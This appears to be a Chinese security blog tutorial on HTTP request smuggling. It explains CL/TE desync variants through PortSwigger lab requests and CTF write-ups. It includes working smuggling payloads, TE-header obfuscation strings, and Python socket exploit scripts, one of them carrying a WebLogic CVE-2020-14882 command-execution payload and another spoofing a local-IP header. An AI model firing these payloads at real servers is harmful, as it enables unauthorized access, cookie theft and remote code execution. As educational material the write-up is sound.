0x00 前言

 最近刷题的时候多次遇到HTTP请求走私相关的题目,但之前都没怎么接触到相关的知识点,只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx<1.17.7 请求走私漏洞),具体讲就是通过nginx的走私漏洞访问到Weblogic Console的登录页面,然后打Weblogic历史漏洞读取flag。当时做那道题的时候对走私漏洞没有深入理解,今天打ISCC2022的时候又遇到了一道利用gunicorn<20.04请求走私漏洞绕waf的题目,因此好好学习一下还是很有必要的。

 0x01 发展时间线

 最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。

 https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

 在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。

 https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf

 在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。

 0x02 什么是请求走私

 当今的web架构中,单纯的一对一客户端---服务端结构已经逐渐过时。为了更安全的处理客户端发来的请求,服务端会被分为两部分:前端服务器与后端服务器。前端服务器(例如代理服务器)负责安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,并对每一个请求都进行响应。但是在这个过程中要保证前端服务器与后端服务器的请求边界设定一致,如果前后端服务器对请求包处理出现差异,那么就可能导致攻击者通过发送一个精心构造的http请求包,绕过前端服务器的安全策略直接抵达后端服务器访问到原本禁止访问的服务或接口,这就是http请求走私。

 听起来是不是有点像SSRF?不过SSRF与HTTP请求走私是有差别的,SSRF是直接利用内网机器来访问内网资源,但请求走私不是。用一张portswigger报告中经典的图来理解一下,有一种夹带私货的感觉,或许这就是被称为走私漏洞的原因吧:

 
 0x03 漏洞成因与常见类型

 http请求走私攻击比较特殊,它不像常规的web漏洞那样直观。它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。因此,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了安全风险。

 在学习之前我们先了解一下HTTP1.1中使用最为广泛的两种特性:Keep-Alive&Pipeline

 Keep-Alive&Pipeline

 所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。

 有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。

 如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。

 CL&TE

 CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头(严格来讲前者是个实体头,为了方便就都用请求头代指)。这里比较有趣的是 Transfer-Encoding(HTTP/2 中不再支持),指定用于传输请求主体的编码方式,可以用的值有 chunked/compress/deflate/gzip/identity ,完整的定义在 Transfer-Encoding#Directives 和 rfc2616#section-3.6

 CL好理解,对于TE我们重点关注chunked。当我们设置TE为chunked时,CL就会被省略。为了区分chunk的边界,我们需要在每个chunk前面用16进制数来表示当前chunk的长度,后面加上\r\n,再后面就是chunk的内容,然后再用\r\n来代表chunk的结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。譬如下面这个例子:

 POST / HTTP/1.1
 Host: example.com
 Content-Type: application/x-www-form-urlencoded
 Transfer-Encoding: chunked

 b  //chunk_size
 q=smuggling
 6
 hahaha
 0  //end
 [blank]
 [blank]

 另外要注意\r\n占2字节,我们在计算长度的时候很容易把它们忽略。最后把请求包以字节流形式表述出来就是:

 POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n

 常见走私类型

 1.CL不为0

 如果前端代理服务器允许GET携带请求体,而后端服务器不允许GET携带请求体,后端服务器就会直接忽略掉GET请求中的Content-Length头,这就有可能导致请求走私。

 例如我们构造出:

 GET / HTTP/1.1\r\n
 Host: example.com\r\n
 Content-Length: 43\r\n

 GET / admin HTTP/1.1\r\n
 Host: example.com\r\n
 \r\n

 在前端服务器看来它是一个请求,但是在后端服务器来看它就是:

 //第一个请求
 GET / HTTP/1.1\r\n
 Host: example.com\r\n

 //第二个请求
 GET / admin HTTP/1.1\r\n
 Host: example.com\r\n

 2.CL CL

 在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。

 https://tools.ietf.org/html/rfc7230#section-3.3.3

 但是很明显这并非是强制的,如果服务器不遵守安全规定在服务器收到多个CL不相同的请求时不返回400错误,那么就可能会导致请求走私。

 我们假设前端服务器按照第一个CL处理而后端服务器按照第二个CL,构造出如下HTTP包:

 POST / HTTP/1.1\r\n
 Host: example.com\r\n
 Content-Length: 8\r\n
 Content-Length: 7\r\n

 12345\r\n
 a

 前端代理服务器收到的请求通过第一个CL判断body为8字节,随后将包发送给后端源服务器;源服务器收到请求通过第二个CL判断body为7字节,这时候最后一个字节 b'a'就会被遗留在源服务器缓存器。由于前后端服务器一般是宠用TCP连接,假设此时正常用户向服务器发送了正常的数据包,如下:

 GET / HTTP/1.1\r\n
 Host: example.com\r\n

 这时残留在缓存中的一个字节就会被添加到这个正常的请求前端变成:

 aGET / HTTP/1.1\r\n
 Host: example.com\r\n

 导致了请求走私,正常数据包被篡改。

 但很明显这种情况过于“巧合”应该很难遇见,存在两个CL的包一般服务器都不会接受,在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这就意味着我们可以在头部同时包含这两种请求头,相比这下这种方式更现实一些。

 3.CL TE

 所谓CL TE就是前置服务器认为 Content-Length 优先级更高(或者说根本就不支持 Transfer-Encoding ) ,后端服务器认为 Transfer-Encoding 优先级更高。

 我们可以构造出body中带有字节 0的请求包,前端服务器通过CL判断这是一个正常的数据包并转发给后端,后端服务器使用TE就会把字节0后的数据滞留到缓冲区,并且与下一次的正常请求进行拼接,这里用一下portswigger团队的lab作为实验:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

 构造如下请求包:

 POST / HTTP/1.1\r\n
 Host: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.net\r\n
 Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiC\r\n
 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"\r\n
 Sec-Ch-Ua-Mobile: ?0\r\n
 Sec-Ch-Ua-Platform: "Windows"\r\n
 Upgrade-Insecure-Requests: 1\r\n
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r\n
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n
 Sec-Fetch-Site: none\r\n
 Sec-Fetch-Mode: navigate\r\n
 Sec-Fetch-User: ?1\r\n
 Sec-Fetch-Dest: document\r\n
 Accept-Encoding: gzip, deflate\r\n
 Accept-Language: zh-CN,zh;q=0.9\r\n
 Connection: close\r\n
 Content-Length: 10\r\n
 Transfer-Encoding:chunked\r\n
 \r\n
 0\r\n
 \r\n
 A\r\n
 \r\n

 连续发送几次就会发现字母A被拼接到了下一请求中,导致了请求走私,当然也会报错。

 

 4.TE CL

 TE CL与CL TE正好相反,假如前端服务器处理TE请求头,而后端服务器处理CL请求头,我们同样可以构造恶意数据包完成走私攻击;依旧使用portswigger的lab:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

 我们构造出如下请求:

 POST / HTTP/1.1
 Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net
 Cookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79Z
 Cache-Control: max-age=0
 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
 Sec-Ch-Ua-Mobile: ?0
 Sec-Ch-Ua-Platform: "Windows"
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Sec-Fetch-Site: cross-site
 Sec-Fetch-Mode: navigate
 Sec-Fetch-User: ?1
 Sec-Fetch-Dest: document
 Referer: https://portswigger.net/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 4
 Transfer-Encoding: chunked

 12
 WPOST / HTTP/1.1

 0

 多次发送后发现:

 

 WPOST被拆分了出来,重点关注body部分

 \r\n
 12\r\n
 WPOST / HTTP/1.1\r\n
 \r\n
 0\r\n
 \r\n

 前端处理TE读取到0\r\n\r\n之后就认为读取完毕发送给后端,而后端处理CL只读取4字节\r\n12就认为数据包结束,这时候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被认为是另一个请求,因此发生了请求报错。

 5.TE TE

 TE-TE:前置和后端服务器都支持 Transfer-Encoding,但通过混淆能让它们在处理时产生分歧。

 lab:https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header

 构造出如下请求包:

 POST / HTTP/1.1
 Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net
 Cookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vG
 Cache-Control: max-age=0
 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
 Sec-Ch-Ua-Mobile: ?0
 Sec-Ch-Ua-Platform: "Windows"
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Sec-Fetch-Site: cross-site
 Sec-Fetch-Mode: navigate
 Sec-Fetch-User: ?1
 Sec-Fetch-Dest: document
 Referer: https://portswigger.net/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 4
 Transfer-Encoding:chunked  //两种TE造成混淆
 Transfer-Encoding:cow

 5c
 WPOST / HTTP/1.1
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 15

 x=1
 0

 多次发送后:

 

 可以看到这里我们采用了:

 Transfer-Encoding:chunked\r\n
 Transfer-Encoding:cow\r\n

 除了这种混淆方式,除了这些portswigger团队还给出了其它可用于TE混淆的payload:

 Transfer-Encoding: xchunked
 Transfer-Encoding[空格]: chunked
 Transfer-Encoding: chunked
 Transfer-Encoding: x
 Transfer-Encoding:[tab]chunked
 [空格]Transfer-Encoding: chunked
 X: X[\n]Transfer-Encoding: chunked
 Transfer-Encoding
 : chunked

 0x04 走私攻击应用实例

 1.使用CL TE走私获取其他用户的请求

 lab:https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/

 打开页面是blog,用户可以在页面发表评论,由于前后端服务器的请求头处理差异导致我们可以利用CL TE获取其它用户的请求头,譬如我们构造出如下请求:

 POST / HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 333
 Transfer-Encoding:chunked
 Content-Type: application/x-www-form-urlencoded

 0

 POST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 700
 Content-Type: application/x-www-form-urlencoded

 csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring

 前端服务器使用CL验证,获取CL为333后判定这是一个正常的请求并发送给后端,而后端服务器通过TE的结尾表标识0\r\n\r\n认为前半部分是一个正常的请求,而后半部分:

 POST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 700
 Content-Type: application/x-www-form-urlencoded

 csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring

 因为Pipeline的存在被放置在了缓存区。如果这时另一个正常用户也发来了一段评论,那么这个请求会被拼接到滞留在缓存区的请求后面构成一个新的请求:

 POST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 700
 Content-Type: application/x-www-form-urlencoded

 csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=ashAwdweas.......

 这时候我们就发现请求头被拼接到了comment的后面然后被当作comment返回,这样我们就可能通过获取到其他用户的Cookie。

 在lab中我们要不断第二个CL的大小,调整至合适大小才有可能正常泄露出来;我从700开始服务器报500,但不知道是哪里出了问题响应一直超时:

 

 不过原理还是很好理解,大家可以自己去试一试,有点玄学。

 2.泄露请求头重写请求实现未授权访问

 前面我们提到,前端服务器的作用之一就是过滤外界用户对于未授权接口的访问,一般前端用户收到一段请求后,会在包里添加一些请求头例如:

• 用户的session等会话ID。

• XFF头用于显示用户IP,当然一般不会是X-Forwarded-For因为很容易被猜到。

• 用户指纹信息、token等。

 如果我们能泄露这些前端服务器向后端服务器中继发送的请求中的请求头,那么我们就可以伪造出前端服务器的请求包来完成对敏感接口的未授权访问,实现一些恶意操作。

 那么问题来了,我们如何能获取到前端服务器发送到后端服务器的请求头呢?其实不难想,如果服务器能对我们输入的POST参数,即body部分响应输出,然后我们构造一个普通的请求放在body后面,前端服务器接收到之后就会对我们添加的请求进行重写,如果我们的指定Content-Length为较大的值就会把前端服务器重写时添加的重要字段给泄露出来拼接到body后面,随后后端服务器会将其与响应一并返回。

 这么讲可能还是有些抽象,我们拿lab来举例:

 https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/

 构造出如下请求包:

 POST / HTTP/1.1
 Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 77
 Transfer-Encoding:chunked

 0

 POST / HTTP/1.1
 Content-Length:70
 Connection:close

 search=111

 多发送几次我们会发现成功泄露出来XFF头信息:

 

 我们简单捋一下过程便于理解,首先前端服务器通过CL判断出这是一个完整的请求并转发给后端服务器,后端服务器通过TE将0字节标识前的部分正常处理,后半部分也被看作是一次正常的请求但被滞留在缓存区,同时由于我们设置的CL是超过实际长度,缓存区就会等待下一次正常请求,也就是前端服务器发来的新请求截取其部分请求头放在请求参数后面凑够CL后一并返回。

 我们走私到后端服务器被滞留在缓存区的请求是:

 POST / HTTP/1.1
 Content-Length:70
 Connection:close

 search=111

 后端服务器接收到新请求并拼接在search之后是:

 POST / HTTP/1.1
 Content-Length:70
 Connection:close

 search=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:......

 最后后端服务器就会将信息响应返回。

 3.其它应用

 除了这两种还有一些利用方式:

• 反射型 XSS 组合拳

• 将 on-site 重定向变为开放式重定向

• 缓存投毒

• 缓存欺骗

 这些@mengchen师傅在知道创宇404发的paper里都有实验讲解,感兴趣的可以去看一看。(paper链接在文末)

 0x05 CTF实战利用

 GKCTF2021[hackme]

 这道题目首先是需要nosql注入爆出密码,然后登陆获得任意文件读取功能,前半部分我们暂且忽略,我们重点关注后半部分。

 读取nginx配置文件发现后端存在weblogic服务:

 

 同时注意到nginx版本为1.17.6,存在请求走私:

 

 假如我们构造:

 GET /a HTTP/1.1
 Host: localhost
 Content-Length: 56
 GET /_hidden/index.html HTTP/1.1
 Host: notlocalhost

 那么nginx会把这两个请求都执行,这就会造成请求走私。可参考:https://v0w.top/2020/12/20/HTTPsmuggling/#5-2-%EF%BC%88CVE-2020-12440%EF%BC%89Nginx-lt-1-8-0-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81

 针对这道题目我们构造出如下请求包:

 GET /test HTTP/1.1
 Host: node4.buuoj.cn:27230
 Content-Length: 0
 Transfer-Encoding: chunked

 GET /console/login/LoginForm.jsp HTTP/1.1
 Host: weblogic

 响应包中包含了weblogic的版本信息:

 WebLogic Server Version: 12.2.1.4.0

 版本正好契合CVE-2020-14882,我们直接拿socket去打就可以拿到flag。

 最终exp

 //来源于https://www.lemonprefect.cn的博客
 import socket

 sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sSocket.connect(("node4.buuoj.cn", 26319))
 payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'''
 sSocket.send(payload)
 sSocket.settimeout(2)
 response = sSocket.recv(2147483647)
 while len(response) > 0:
    print(response.decode())
    try:
        response = sSocket.recv(2147483647)
    except:
        break
 sSocket.close()

 RCTF2019[esay calc]

 常规绕waf

 首先查看源码根据提示来到calc.php

 

 代码对特殊字符进行了一些过滤,注意到最后代码执行,我们传入:

 calc.php?num=;)phpinfo();//

 执行后发现:

 

 明显是有waf不合法请求,有一种做法是参数前面加空格使服务器无法解析绕waf,再用ascii转码读文件:

 ? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

 

 走私绕waf

 注意到只要能让前端服务器报错我们就能突破前端waf限制;所以事实上我们还可以利用走私攻击绕waf,而且前面四种方式都是有效的,这里举两个例子,剩下几种大家可以自行尝试:

 注意下面的请求中num前没有空格了。

 CL CL

 

 CL TE

 

 ISCC2022[让我康康!]

 分析与利用

 如果直接访问flag会爆403:

 

 我们通过相应包的头部发现了gunicorn20.0,经查阅版本存在请求走私,具体可参考:

 https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/

 通过给出的POC我们编写脚本成功实现请求走私,看到要求很明显是需要获取前端服务器请求头的来源IP名称来伪造本地访问获取flag:

 

 那么我的思路就是多次发送请求,并且设置前一个请求的CL为超过实际请求体的较大数值;由于后端服务器设置Keep-Alive,所以它会误认为请求没有发送完毕,会继续等待;而这时候我们再给前端服务器发送一个请求,前端服务器就会把带有来源IP头部的http包发送给后端服务器,后端服务器接收足够上一包内CL的时候就会把这个泄露敏感凭证的包一并返回给客户端,从而造成了敏感信息泄露。

 其实思路与上面讲到的应用实例2一样,只不过gunicorn20.0的走私漏洞是由于默认Sec-Websocket-Key的配置导致后端服务器会以xxxxxxxx为标识位,这就导致xxxxxxxx后面的部分会滞留在缓存区,可以认为是一种变种的CL TE走私。

 我们可以通过burp直接构造请求,但是由于Content-Length需要我们自定义,比如第一个Content-Length仅仅是计算到第一个手动添加的POST请求,所以构造的时候要额外小心。

 

 

 当然我们直接写脚本拿socket发更直观。

 最终exp

 import socket

 secret_payload=b'''POST / HTTP/1.1\r
 Host: 59.110.159.206:7020\r
 Content-Length: 149\r
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Content-Type: application/x-www-form-urlencoded\r
 Sec-Websocket-Key1:x\r
 \r
 xxxxxxxxPOST / HTTP/1.1\r
 Host:127.0.0.1\r
 secr3t_ip: 127.0.0.1\r
 Content-Length: 150\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=abc\r
 \r
 POST / HTTP/1.1\r
 Content-Length: 14\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=111\r
 \r
 '''

 final_payload=b'''POST / HTTP/1.1\r
 Host: 59.110.159.206:7020\r
 Content-Length: 152\r
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r
 Content-Type: application/x-www-form-urlencoded\r
 Sec-Websocket-Key1:x\r
 \r
 xxxxxxxxGET /fl4g HTTP/1.1\r
 Host:127.0.0.1\r
 secr3t_ip: 127.0.0.1\r
 Content-Length: 150\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=abc\r
 \r
 POST / HTTP/1.1\r
 Content-Length: 14\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=111\r
 \r
 '''
 test1 = b'''POST / HTTP/1.1\r
 Host: 127.0.0.1\r
 Content-Length: 67\r
 Sec-Websocket-Key1:x\r
 \r
 xxxxxxxxGET /fl4g HTTP/1.1\r
 Host:127.0.0.1\r
 Content-Length: 123\r
 \r
 GET / HTTP/1.1\r
 Host: 127.0.0.1\r
 \r
 '''
 test2=b'''POST / HTTP/1.1
 Host: 59.110.159.206:7020
 Content-Length: 10
 Content-Type: application/x-www-form-urlencoded

 search=123'''

 sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sSocket.connect(("59.110.159.206", 7020))

 def send(payload):
    print(payload)
    sSocket.send(payload)
    sSocket.settimeout(2)
    response = sSocket.recv(2147483647)
    while len(response) > 0:
        print(response.decode())
        try:
            response = sSocket.recv(2147483647)
        except:
            break
    sSocket.close()

 if __name__ == '__main__':
    send(final_payload)

 

 0x06 Reference

 https://regilero.github.io/tag/Smuggling/

 https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn

 https://paper.seebug.org/1048

 https://xz.aliyun.com/t/7501

 更多靶场实验练习、网安学习资料,请点击这里>>

搜索

复制

协议层安全相关《http请求走私与CTF利用》的更多相关文章

  1. 通过一道CTF学习HTTP协议请求走私

    HTTP请求走私 HTTP请求走私 HTTP请求走私是针对于服务端处理一个或者多个接收http请求序列的方式,进行绕过安全机制,实施未授权访问一种攻击手段,获取敏感信息,并直接危害其他用户. 请求走私 ...

  2. [RoarCTF 2019]Easy Calc-协议层攻击之HTTP请求走私

    0X01:什么是HTTP请求走私 HTTP请求走私属于协议层攻击,是服务器漏洞的一种. HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术.使攻击者可以绕过安全控制, ...

  3. HTTP Request Smuggling 请求走私

    参考文章 浅析HTTP走私攻击 SeeBug-协议层的攻击--HTTP请求走私 HTTP 走私漏洞分析 简单介绍 攻击者通过构造特殊结构的请求,干扰网站服务器对请求的处理,从而实现攻击目标 前提知识 ...

  4. 大型网站的 HTTPS 实践(四)——协议层以外的实践

    详见:http://blog.yemou.net/article/query/info/tytfjhfascvhzxcyt390 1 前言 网上介绍 https 的文章并不多,更鲜有分享在大型互联网站 ...

  5. TCPIP网络协议层对应的RFC文档

    原文地址:TCPIP网络协议层对应的RFC文档作者:西木 RFC - Request For Comments 请求注解 TCP/IP层 网络协议 RFC文档 Physical Layer Data ...

  6. 造轮子 | 怎样设计一个面向协议的 iOS 网络请求库

    近期开源了一个面向协议设计的网络请求库 MBNetwork,基于 Alamofire 和 ObjectMapper 实现,目的是简化业务层的网络请求操作. 须要干些啥 对于大部分 App 而言,业务层 ...

  7. [转] TCPIP 网络协议层对应的RFC文档

    TCPIP网络协议层对应的RFC文档 RFC - Request For Comments 请求注解 TCP/IP层 网络协议 RFC文档 Physical Layer Data Link Layer ...

  8. Http协议对格式、请求头、方法

    ######### #概览 ######### 超文本传输协议(Http: Hyper Text Transfer Protocol) :用于发送WWW方式的数据.采用TCP/IP协议,是一个无状态协 ...

  9. USB 3.0规范中译本 第8章 协议层

    本文为CoryXie原创译文,转载及有任何问题请联系cory.xie#gmail.com. 协议层管理设备及其主机之间端到端的数据流.这一层建立在链路层提供对某些类型的包的保证传输(guarantee ...

  10. BLE 5协议栈-属性协议层(ATT)

    文章转载自:http://www.sunyouqun.com/2017/04/page/2/ 属性协议(Attribute Protocol)简称ATT. ATT层定义了属性实体的概念,包括UUID. ...

随机推荐

  1. Android应用中使用AsyncHttpClient来异步网络数据(转载)

    摘要: 首先下载AsyncHttpClient的库文件,可以自行搜索,可以到下面地址下载 http://download.csdn.net/detail/xujinyang1234/5767419 测 ...

  2. PHPStorm Xdebug配置

    下载PHSTORM https://download.jetbrains.com/webide/PhpStorm-2016.1.2.exe http://idea.lanyus.com/查找授权服务器 ...

  3. select实现输入模糊匹配与选择双重功能

    下载jqueryUI插件 引入 <link rel="stylesheet" type="text/css" href="/js/jquery/ ...

  4. Windows Phone开发(4):框架和页

    原文:Windows Phone开发(4):框架和页 在开如之前,我想更正一个小问题,之前我在第一篇文章中说,Visual Studio Express for Windows Phone的中文版没有 ...

  5. JavaScript责任链模式

    介绍 责任链模式(Chain of responsibility)是使多个对象都有机会处理请求,从而避免请求的发送者和接受者之间的耦合关系.将对象连成一条链,并沿着这条链传递该请求,直到有一个对象处理 ...

  6. 解决miner.start() 返回null

    下面我列举了三种解决方案,前面两张是某两位大佬试出来的,第三种是我蒙出来的. 第一种解决方案 转载自  http://mp.weixin.qq.com/s/AB9vj1EzOgWT7JyryfQhDg ...

  7. golang-grpc-Unimplemented-desc

    golang 调用grpc 服务方法时候提示:"rpc error: code = Unimplemented desc ="的错误, 这是由于pb中的package name 被 ...

  8. 小而美的ghost driver

    做过selenium自动化项目的同学应该都遇到过这样的问题:测试用例太多,运行速度过慢导致团队成员怨声载道. 于是便有了selenium grid和多线程运行selenium测试用例的方法.这些方法各 ...

  9. disable_functions php-fpm root

    php.ini disable_functions 禁用某些函数 需要时注意打开 php-fpm 对应conf user group为root时 ERROR: [pool www] please sp ...

  10. CFGym 100198G 题解

    一.题目链接 http://codeforces.com/gym/100198/problem/G 二.题意 看样例就能明白,写表达式解析器. 三 .思路 一看这题目,立马就会想到“后缀表达式”,考虑 ...